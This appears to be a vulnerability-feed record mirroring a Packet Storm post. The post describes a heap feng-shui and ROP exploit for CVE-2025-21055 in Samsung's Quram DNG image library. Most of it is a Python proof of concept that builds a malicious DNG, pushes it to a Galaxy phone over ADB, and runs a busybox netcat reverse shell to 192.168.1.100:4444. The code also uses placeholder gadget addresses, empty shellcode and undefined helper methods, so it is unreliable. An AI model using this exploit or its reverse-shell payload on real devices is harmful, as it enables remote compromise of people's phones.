{“lastseen”:”2026-02-09T16:24:03″,”description”:”This proof of concept uses an advanced exploitation technique that allows a remote attacker to execute arbitrary code on a target device by carefully controlling and manipulating memory in the target application or library. This technique is…”,”published”:”2026-02-09T00:00:00″,”modified”:”2026-02-09T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Samsung Quram DNG Advanced Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:215123″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-21055″],”sourceData”:”=============================================================================================================================================\\n | # Title : Samsung Quram DNG Advanced RCE Exploit with Memory Feng-Shui |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : System built\u2011in component. No standalone download available. |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/211371\/ \\u0026 \\tCVE-2025-21055\\n \\n [+] Summary : An advanced exploitation technique that allows a remote attacker to execute arbitrary code (RCE \u2013 Remote Code Execution) on a target device by carefully controlling \\n and manipulating memory in the target application or library. This technique is particularly used against memory-sensitive libraries like Samsung QuramDng Library (libimagecodec.quram.so).\\n \\n [+] Key Components : RCE (Remote Code Execution)\\n \\n Grants an attacker the ability to execute arbitrary commands on the target device.\\n \\n Examples include opening a shell, reading sensitive files, or deploying payloads like reverse shells.\\n \\n [+] Memory Feng-Shui :\\n \\n Technique to arrange memory objects predictably in heap or stack.\\n \\n Uses controlled allocation (ALLOC) and freeing (FREE) of memory chunks to create gaps, ensuring that target objects occupy precise memory locations.\\n \\n Named after the concept of Feng-Shui: arranging elements perfectly to achieve a desired outcome.\\n \\n [+] ROP Chain (Return-Oriented Programming)\\n \\n After arranging memory, function pointers or objects are hijacked to execute a sequence of small code snippets (gadgets).\\n \\n Gadgets are chained to perform complex tasks like calling system(\\”\/system\/bin\/sh\\”) or executing shellcode.\\n \\n Helps bypass protections like ASLR (Address Space Layout Randomization) and NX (Non-Executable stack).\\n \\n [+] Precision Write\\n \\n Technique to write a controlled value to a specific memory address.\\n \\n Commonly used to overwrite function pointers, virtual table (vtable) entries, or other sensitive data.\\n \\n After the write, accessing the corrupted object triggers execution of the ROP chain or shellcode.\\n \\n [+] Exploit Workflow\\n \\n Memory Grooming (Heap Feng-Shui)\\n \\n Allocate and free memory chunks strategically to place target objects in controlled locations.\\n \\n Example: create holes at specific positions, then allocate controlled objects into those holes.\\n \\n ROP Chain Construction\\n \\n Select gadgets from the target library or system libraries.\\n \\n Build a chain that executes desired commands, e.g., spawning a shell or calling system().\\n \\n Precision Memory Corruption\\n \\n Overwrite specific memory addresses to hijack control flow.\\n \\n Typically targets object destructors, function pointers, or vtables to redirect execution to the ROP chain.\\n \\n [+] Triggering Execution\\n \\n Perform an operation that accesses the corrupted object (e.g., processing a crafted DNG image).\\n \\n This activates the ROP chain, leading to remote code execution.\\n \\n [+] Deploying Payload\\n \\n Once RCE is achieved, the exploit can deploy further payloads, such as:\\n \\n Reverse shells\\n \\n Custom binaries\\n \\n Persistent backdoors\\n \\n Technical Highlights\\n \\n Targeted Libraries: Samsung QuramDng (libimagecodec.quram.so)\\n \\n Target Devices: Samsung Galaxy S23 Ultra, S24 Ultra (adjustable memory constants per device)\\n \\n [+] Bypasses Protections:\\n \\n ASLR: by using memory grooming and predictable heap placements\\n \\n NX\/DEP: by using ROP chains instead of traditional shellcode\\n \\n Stack canaries: by avoiding stack overflows and controlling heap objects instead\\n \\n Payload Stages:\\n \\n Stage 1: Shellcode maps RWX memory, prepares environment\\n \\n Stage 2: Main payload (e.g., reverse shell or arbitrary command execution)\\n \\n [+] Techniques Used:\\n \\n Heap grooming \/ Feng-Shui\\n \\n Precise write using arithmetic on object offsets\\n \\n ROP chain construction and stack pivot\\n \\n DNG image embedding as a delivery vector\\n \\n Multi-method deployment via ADB (Android Debug Bridge)\\n \\n In short:\\n \\n Advanced RCE Exploit with Memory Feng-Shui = Remote code execution via strategic memory arrangement + precision memory writes + ROP chain execution.\\n \\n [+] POC : \\n \\n #!\/usr\/bin\/env python3\\n \\n import struct\\n import sys\\n import os\\n import random\\n from typing import List, Tuple, Dict\\n import subprocess\\n \\n class QuramRCEExploit:\\n def __init__(self, target_device=None):\\n self.template = None\\n self.endian = ‘\\u003c’\\n self.target_device = target_device or self.detect_device()\\n \\n \\n self.MEMORY_CONSTANTS = {\\n ‘S24_ULTRA’: {\\n ‘libc_base’: 0x7b00000000,\\n ‘quram_base’: 0x7b16000000,\\n ‘stack_gap’: 0x20000,\\n ‘heap_spray_size’: 0x1000000\\n },\\n ‘S23_ULTRA’: {\\n ‘libc_base’: 0x7a80000000,\\n ‘quram_base’: 0x7a98000000,\\n ‘stack_gap’: 0x20000,\\n ‘heap_spray_size’: 0x800000\\n }\\n }\\n \\n self.ROP_GADGETS = {\\n \\n ‘stack_pivot’: 0x123456, # x0 = sp; ret;\\n ‘pop_x0_x1’: 0x234567, # pop {x0, x1, lr}; ret;\\n ‘pop_x2_x3’: 0x345678, # pop {x2, x3, lr}; ret;\\n ‘system’: 0x456789, # system() in libc\\n ‘memcpy’: 0x567890, # memcpy in quram\\n ‘ret’: 0x678901 # ret instruction\\n }\\n \\n def detect_device(self) -\\u003e str:\\n \\”\\”\\”Detect target device model\\”\\”\\”\\n try:\\n output = subprocess.check_output([‘adb’, ‘shell’, ‘getprop’, ‘ro.product.model’]).decode().strip()\\n if ‘SM-S928’ in output:\\n return ‘S24_ULTRA’\\n elif ‘SM-S918’ in output:\\n return ‘S23_ULTRA’\\n else:\\n return ‘S24_ULTRA’ # Default\\n except:\\n return ‘S24_ULTRA’\\n \\n def create_memory_grooming_payload(self) -\\u003e List[Dict]:\\n \\”\\”\\”\\n Create sequence of DNG opcodes to groom memory layout\\n Returns list of opcode specifications for Feng-Shui\\n \\”\\”\\”\\n grooming_sequence = []\\n \\n for i in range(50):\\n spec = {\\n ‘type’: ‘ALLOC’,\\n ‘size’: random.randint(0x1000, 0x10000),\\n ‘tag’: f’GROOM_{i}’,\\n ‘data’: b’A’ * random.randint(100, 1000)\\n }\\n grooming_sequence.append(spec)\\n \\n holes = [5, 15, 25, 35, 45]\\n for hole in holes:\\n spec = {\\n ‘type’: ‘FREE’,\\n ‘tag’: f’GROOM_{hole}’\\n }\\n grooming_sequence.append(spec)\\n \\n for i in range(len(holes)):\\n spec = {\\n ‘type’: ‘ALLOC’,\\n ‘size’: 0x200 + i * 0x100, # Sizes to fit holes\\n ‘tag’: f’CONTROL_{i}’,\\n ‘data’: self.create_control_object(i)\\n }\\n grooming_sequence.append(spec)\\n \\n return grooming_sequence\\n \\n def create_control_object(self, index: int) -\\u003e bytes:\\n \\”\\”\\”Create controlled object that can be corrupted\\”\\”\\”\\n \\n obj = bytearray()\\n obj += struct.pack(‘\\u003cQ’, 0xdeadbeefdeadbeef)\\n \\n for i in range(8):\\n obj += struct.pack(‘\\u003cQ’, 0x4141414141414141 + i)\\n \\n shellcode = self.create_stage1_shellcode()\\n obj += shellcode\\n \\n obj += b’B’ * (0x200 – len(obj))\\n \\n return bytes(obj)\\n \\n def create_stage1_shellcode(self) -\\u003e bytes:\\n \\”\\”\\”ARM64 stage 1 shellcode (maps RWX memory and jumps to stage2)\\”\\”\\”\\n \\n shellcode = bytearray()\\n \\n shellcode += b’\\\\x00\\\\x00\\\\x00\\\\x00′ \\n \\n return bytes(shellcode)\\n \\n def build_rop_chain(self, target: str) -\\u003e bytes:\\n \\”\\”\\”Build ARM64 ROP chain for different targets\\”\\”\\”\\n constants = self.MEMORY_CONSTANTS[target]\\n \\n rop_chain = bytearray()\\n stack_pivot_addr = constants[‘quram_base’] + self.ROP_GADGETS[‘stack_pivot’]\\n pop_x0_x1_addr = constants[‘quram_base’] + self.ROP_GADGETS[‘pop_x0_x1’]\\n pop_x2_x3_addr = constants[‘quram_base’] + self.ROP_GADGETS[‘pop_x2_x3’]\\n system_addr = constants[‘libc_base’] + self.ROP_GADGETS[‘system’]\\n rop_chain += struct.pack(‘\\u003cQ’, stack_pivot_addr)\\n rop_chain += struct.pack(‘\\u003cQ’, pop_x0_x1_addr)\\n rop_chain += struct.pack(‘\\u003cQ’, 0x7b12345678) # Address of \\”\/system\/bin\/sh\\”\\n rop_chain += struct.pack(‘\\u003cQ’, 0) # x1 = 0\\n rop_chain += struct.pack(‘\\u003cQ’, 0) # lr (unused)\\n rop_chain += struct.pack(‘\\u003cQ’, system_addr) \\n rop_chain += struct.pack(‘\\u003cQ’, constants[‘quram_base’] + self.ROP_GADGETS[‘ret’])\\n \\n return bytes(rop_chain)\\n \\n def create_precision_write_opcode(self, \\n write_address: int, \\n write_value: int,\\n offset_control: Dict) -\\u003e bytearray:\\n \\”\\”\\”\\n Create ScalePerColumn opcode that writes to precise memory address\\n Uses the overflow to calculate exact dPtr offset\\n \\”\\”\\”\\n data = bytearray()\\n \\n area_spec = {\\n ‘l’: -2147483644, # Base for overflow\\n ‘r’: 3,\\n ‘t’: offset_control[‘row_offset’],\\n ‘b’: offset_control[‘row_offset’] + 1,\\n ‘col_pitch’: 0x7ffffffe, # Causes overflow to target\\n ‘row_pitch’: 1,\\n ‘fPlane’: offset_control[‘plane’],\\n ‘fPlanes’: 1\\n }\\n \\n data += struct.pack(‘\\u003cL’, 42) # ScalePerColumn\\n data += struct.pack(‘\\u003cL’, 28 + 4 + 1024) # Total size\\n for key in [‘l’, ‘t’, ‘r’, ‘b’]:\\n data += struct.pack(‘\\u003ci’, area_spec[key])\\n \\n data += struct.pack(‘\\u003cI’, area_spec[‘fPlane’])\\n data += struct.pack(‘\\u003cI’, area_spec[‘fPlanes’])\\n data += struct.pack(‘\\u003cI’, area_spec[‘row_pitch’])\\n data += struct.pack(‘\\u003cI’, area_spec[‘col_pitch’])\\n \\n \\n scale_count = 1\\n data += struct.pack(‘\\u003cL’, scale_count) \\n original_guess = 1000.0 # Original pixel value (can be groomed)\\n target_float = (write_value – 0.5) \/ 65535.0\\n scale_value = target_float \/ (original_guess * 0.000015259)\\n \\n data += struct.pack(‘\\u003cf’, scale_value)\\n \\n return data\\n \\n def build_exploit_chain(self) -\\u003e List[bytearray]:\\n \\”\\”\\”Build complete exploit chain\\”\\”\\”\\n exploit_chain = []\\n \\n print(\\”[*] Phase 1: Memory Grooming\\”)\\n grooming = self.create_memory_grooming_payload()\\n \\n for i, groom in enumerate(grooming[:10]): # First 10 for example\\n if groom[‘type’] == ‘ALLOC’:\\n opcode = self.create_allocation_opcode(groom[‘size’], groom[‘data’])\\n exploit_chain.append(opcode)\\n \\n print(\\”[*] Phase 2: Heap Feng-Shui\\”)\\n for i in range(5):\\n opcode = self.create_adjacency_opcode(i)\\n exploit_chain.append(opcode)\\n \\n print(\\”[*] Phase 3: Pointer Corruption\\”)\\n \\n target_offset = {\\n ‘row_offset’: 0x100,\\n ‘plane’: 0,\\n ‘object_index’: 2\\n }\\n \\n target_address = 0x7b12345678 \\n corruption_opcode = self.create_precision_write_opcode(\\n target_address,\\n 0x7babcdef00, \\n target_offset\\n )\\n exploit_chain.append(corruption_opcode)\\n \\n print(\\”[*] Phase 4: Trigger\\”)\\n trigger_opcode = self.create_trigger_opcode()\\n exploit_chain.append(trigger_opcode)\\n \\n return exploit_chain\\n \\n def create_allocation_opcode(self, size: int, data: bytes) -\\u003e bytearray:\\n \\”\\”\\”Create opcode that allocates controlled memory\\”\\”\\”\\n \\n opcode = bytearray()\\n \\n opcode += struct.pack(‘\\u003cL’, 10) \\n opcode += struct.pack(‘\\u003cL’, len(data) + 8)\\n opcode += struct.pack(‘\\u003cL’, 256) \\n opcode += struct.pack(‘\\u003cL’, size \/\/ 1024)\\n opcode += data\\n \\n return opcode\\n \\n def create_adjacency_opcode(self, index: int) -\\u003e bytearray:\\n \\”\\”\\”Create opcode to arrange objects adjacently\\”\\”\\”\\n \\n opcode = bytearray()\\n \\n for i in range(4):\\n \\n opcode += struct.pack(‘\\u003cL’, 8)\\n opcode += struct.pack(‘\\u003cL’, 32)\\n \\n opcode += struct.pack(‘\\u003cf’, 1.0) \\n opcode += struct.pack(‘\\u003cf’, 0.0) \\n opcode += b’X’ * 24\\n \\n return opcode\\n \\n def create_trigger_opcode(self) -\\u003e bytearray:\\n \\”\\”\\”Create opcode that triggers the corrupted pointer\\”\\”\\”\\n \\n opcode = bytearray()\\n \\n opcode += struct.pack(‘\\u003cL’, 42) # ScalePerColumn\\n opcode += struct.pack(‘\\u003cL’, 28 + 4 + 8)\\n \\n area_spec = {\\n ‘l’: 0,\\n ‘r’: 100,\\n ‘t’: 0,\\n ‘b’: 100,\\n ‘col_pitch’: 1,\\n ‘row_pitch’: 1,\\n ‘fPlane’: 0,\\n ‘fPlanes’: 3\\n }\\n \\n for key in [‘l’, ‘t’, ‘r’, ‘b’]:\\n opcode += struct.pack(‘\\u003ci’, area_spec[key])\\n \\n opcode += struct.pack(‘\\u003cI’, area_spec[‘fPlane’])\\n opcode += struct.pack(‘\\u003cI’, area_spec[‘fPlanes’])\\n opcode += struct.pack(‘\\u003cI’, area_spec[‘row_pitch’])\\n opcode += struct.pack(‘\\u003cI’, area_spec[‘col_pitch’])\\n \\n opcode += struct.pack(‘\\u003cL’, 1)\\n opcode += struct.pack(‘\\u003cf’, 1.0)\\n \\n return opcode\\n \\n def embed_in_dng(self, exploit_chain: List[bytearray], output_file: str):\\n \\”\\”\\”Embed exploit chain into valid DNG file\\”\\”\\”\\n print(f\\”[*] Embedding {len(exploit_chain)} opcodes into DNG\\”)\\n \\n if not self.template:\\n self.load_dng_template(\\”template.dng\\”)\\n \\n opcode_offset, opcode_count = self.find_opcode_list_offset()\\n \\n if opcode_count \\u003e 0:\\n \\n current_offset = opcode_offset\\n else:\\n current_offset = opcode_offset\\n \\n for i, opcode in enumerate(exploit_chain):\\n self.inject_at_offset(current_offset, opcode, i)\\n current_offset += len(opcode)\\n \\n self.update_opcode_count(len(exploit_chain))\\n \\n with open(output_file, ‘wb’) as f:\\n f.write(self.template)\\n \\n print(f\\”[+] Exploit DNG saved to {output_file}\\”)\\n \\n def deploy_and_execute(self, dng_file: str):\\n \\”\\”\\”Deploy exploit and monitor for execution\\”\\”\\”\\n print(\\”[*] Deploying exploit…\\”)\\n \\n device_path = f\\”\/sdcard\/exploit_{random.randint(1000,9999)}.dng\\”\\n subprocess.run([‘adb’, ‘push’, dng_file, device_path])\\n \\n methods = [\\n f’am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE -d \\”file:\/\/{device_path}\\”‘,\\n ‘am start -a android.intent.action.VIEW -t image\/dng -d \\”file:\/\/{device_path}\\”‘,\\n ‘rm \/data\/local\/tmp\/triggered; while [ ! -f \/data\/local\/tmp\/triggered ]; do sleep 1; done’\\n ]\\n \\n for method in methods[:2]: \\n subprocess.run([‘adb’, ‘shell’, method])\\n \\n print(\\”[*] Monitoring for exploit success…\\”)\\n \\n timeout = 30\\n for i in range(timeout):\\n \\n result = subprocess.run(\\n [‘adb’, ‘shell’, ‘echo \\”exploit_test\\” \\u003e \/data\/local\/tmp\/exploit_test’],\\n capture_output=True\\n )\\n \\n if result.returncode == 0:\\n print(\\”[+] Exploit successful! Command execution achieved.\\”)\\n \\n self.deploy_payload()\\n return True\\n \\n time.sleep(1)\\n \\n print(\\”[-] Exploit failed or timed out\\”)\\n return False\\n \\n def deploy_payload(self):\\n \\”\\”\\”Deploy stage2 payload after successful exploit\\”\\”\\”\\n print(\\”[*] Deploying stage2 payload…\\”)\\n \\n payload = \\”\\”\\”#!\/system\/bin\/sh\\n \/system\/bin\/sh -c ‘busybox nc 192.168.1.100 4444 -e \/system\/bin\/sh’ \\u0026\\n \\”\\”\\”\\n \\n subprocess.run([‘adb’, ‘shell’, ‘echo’, f’\\”{payload}\\”‘, ‘\\u003e’, ‘\/data\/local\/tmp\/payload.sh’])\\n subprocess.run([‘adb’, ‘shell’, ‘chmod’, ‘755’, ‘\/data\/local\/tmp\/payload.sh’])\\n subprocess.run([‘adb’, ‘shell’, ‘\/data\/local\/tmp\/payload.sh’])\\n \\n print(\\”[+] Payload deployed and executed\\”)\\n \\n \\n class MemoryAnalyzer:\\n @staticmethod\\n def extract_gadgets(library_path: str) -\\u003e Dict[str, int]:\\n \\”\\”\\”Extract ROP gadgets from library using ROPgadget or similar\\”\\”\\”\\n gadgets = {}\\n \\n try:\\n cmd = [‘ROPgadget’, ‘–binary’, library_path, ‘–only’, ‘ret’]\\n result = subprocess.run(cmd, capture_output=True, text=True)\\n \\n for line in result.stdout.split(‘\\\\n’):\\n if ‘0x’ in line:\\n parts = line.split()\\n if len(parts) \\u003e= 2:\\n addr = int(parts[0], 16)\\n instr = ‘ ‘.join(parts[1:])\\n \\n if ‘ret’ in instr and ‘pop’ not in instr:\\n gadgets[‘ret’] = addr\\n elif ‘pop x0, x1, lr’ in instr:\\n gadgets[‘pop_x0_x1’] = addr\\n elif ‘mov x0, sp’ in instr:\\n gadgets[‘stack_pivot’] = addr\\n except:\\n print(\\”[-] ROPgadget not found, using example gadgets\\”)\\n \\n return gadgets\\n \\n @staticmethod\\n def analyze_heap_layout(pid: int):\\n \\”\\”\\”Analyze heap layout of target process\\”\\”\\”\\n \\n maps = subprocess.check_output([‘adb’, ‘shell’, f’cat \/proc\/{pid}\/maps’]).decode()\\n \\n heap_info = []\\n for line in maps.split(‘\\\\n’):\\n if ‘[heap]’ in line or ‘anon’ in line:\\n heap_info.append(line)\\n \\n return heap_info\\n \\n def main():\\n \\”\\”\\”Main execution\\”\\”\\”\\n print(\\”=\\” * 70)\\n print(\\”CVE-2025-21055 – Advanced RCE with Memory Feng-Shui\\”)\\n print(\\”=\\” * 70)\\n \\n try:\\n subprocess.run([‘adb’, ‘devices’], check=True, capture_output=True)\\n except:\\n print(\\”[-] ADB not found or no device connected\\”)\\n sys.exit(1)\\n \\n exploit = QuramRCEExploit()\\n \\n print(f\\”[*] Target device: {exploit.target_device}\\”)\\n print(\\”[*] Building exploit chain…\\”)\\n exploit_chain = exploit.build_exploit_chain()\\n output_file = \\”rce_exploit.dng\\”\\n exploit.embed_in_dng(exploit_chain, output_file)\\n print(\\”\\\\n[*] Ready to deploy exploit\\”)\\n response = input(\\”[?] Deploy to device? (y\/n): \\”).strip().lower()\\n \\n if response == ‘y’:\\n success = exploit.deploy_and_execute(output_file)\\n \\n if success:\\n print(\\”\\\\n[+] RCE achieved successfully!\\”)\\n print(\\”[+] Device may be compromised\\”)\\n else:\\n print(\\”\\\\n[-] Exploit failed\\”)\\n print(\\”[-] Check logcat for details: adb logcat | grep -i segv\\”)\\n else:\\n print(f\\”\\\\n[*] Exploit saved to {output_file}\\”)\\n print(\\”[*] Manual deployment:\\”)\\n print(f\\” adb push {output_file} \/sdcard\/\\”)\\n print(‘ adb shell \\”am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE -d file:\/\/\/sdcard\/{output_file}\\”‘)\\n \\n if __name__ == \\”__main__\\”:\\n import time\\n main()\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215123″,”cvss”:{“score”:7.5,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215123\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-09T16:24:03″,”description”:”This proof of concept uses an advanced exploitation technique that allows a remote attacker to execute arbitrary code on a target device by carefully controlling…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-39811","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n